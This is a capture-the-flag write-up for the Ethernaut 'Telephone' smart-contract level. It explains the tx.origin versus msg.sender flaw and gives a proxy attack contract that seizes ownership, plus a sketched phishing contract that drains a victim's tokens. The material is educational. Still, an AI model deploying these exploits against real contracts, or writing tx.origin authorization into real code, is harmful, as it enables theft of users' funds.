✅
Telephone
tx.origin
Claim ownership of the contract below to complete this level.
Things that might help:
- See the Help page above, section "Beyond the console"
tx.origin is like msg.sender, but it is vulnerable.tx.origin:- the original user wallet that initiated the transaction
- the origin address of potentially an entire chain of transactions and calls
- only user wallet addresses can be the
tx.origin, not contract address
msg.sender:- both user wallets and smart contracts can be the
msg.sender - checks where the external function call directly came from
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.
Write a "proxy" contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Telephone.sol';
contract TelephoneAttack {
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _address) public {
telephone.changeOwner(_address);
}
}
When we call
changeOwner() from the TelephoneAttack contract, tx.origin is our Metamask wallet address. When telephone.changeOwner(_address) is triggered, msg.sender is address of the TelephoneAttack contract. This satisfies the if (tx.origin != msg.sender) check and thus owner will be updated to the _owner argument we passed into the changeOwner() function call.Deploy it and feed in the original contract address:
TelephoneHack deploy
Feed in your Metamask wallet address and click "changeOwner":
TelephoneAttack changeOwner
Click "Submit instance" and move on to the next level.
While this example may be simple, confusing
tx.origin with msg.sender can lead to phishing-style attacks, such as this.An example of a possible attack is outlined below.
- Use
tx.originto determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
- Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}
- In this scenario,
tx.originwill be the victim's address (whilemsg.senderwill be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
Last modified 1d ago